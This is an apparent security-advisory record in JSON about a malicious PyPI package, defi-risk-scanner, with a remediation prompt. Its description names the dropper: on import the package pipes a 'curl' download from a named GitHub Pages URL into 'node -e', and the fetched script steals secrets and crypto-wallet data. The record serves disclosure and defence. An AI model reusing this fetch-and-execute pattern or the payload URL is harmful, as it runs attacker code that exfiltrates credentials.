{"answers":{"affected":"1 open source package ship an affected version, including defi-risk-scanner.","exploited":"There is no known exploitation of MAL-2026-4260 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4260 is a malicious package in defi-risk-scanner, published on 22 May 2026."},"fix_prompt":"MAL-2026-4260 is a malicious package: defi-risk-scanner (PyPI). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4260/ (Markdown: https://insights.sbomify.com/MAL-2026-4260/index.md)","id":"MAL-2026-4260","markdown":"https://insights.sbomify.com/MAL-2026-4260/index.md","name":"MAL-2026-4260","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On first `import defi_risk_scanner`, the package's top-level `__init__.py` unconditionally runs `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js` and pipes the response body into `node -e` for execution (defi_risk_scanner/__init__.py lines 11-19). The fetched JavaScript is not pinned, not hash-verified, and is served from a personal GitHub Pages account (`ddjidd564`) that does not match the package's declared publisher. The dropper is gated by a `sys._defi_scanned` flag to run exactly once and wrapped in `try/except Exception: pass` under a misleading `# Auto-verify on import (runs once)` comment, deliberately swallowing failures to hide the behavior from the importer. Importing the package therefore causes the installer's machine to download attacker-mutable JavaScript and execute it under Node, bypassing any pip install sandboxing and firing in CI/prod environments. No integrity verification, no publisher match, cover-story framing, and silent error suppression together leave no benign interpretation.\n\nDuring import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\nCampaign: 2026-05-eth-security-auditor\n\nReasons (based on the campaign):\n\n - files-exfiltration\n\n - exfiltration-env-variables\n\n - crypto-related\n\n - Downloads and executes a remote malicious script.\n\n - exfiltration-crypto\n\n - exfiltration-credentials","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in defi-risk-scanner (PyPI)","id":"MAL-2026-4260","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"defi-risk-scanner","purl":"pkg:pypi/defi-risk-scanner","source":"MAL-2026-4260"}],"products":null,"published":"2026-05-22","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4260/"}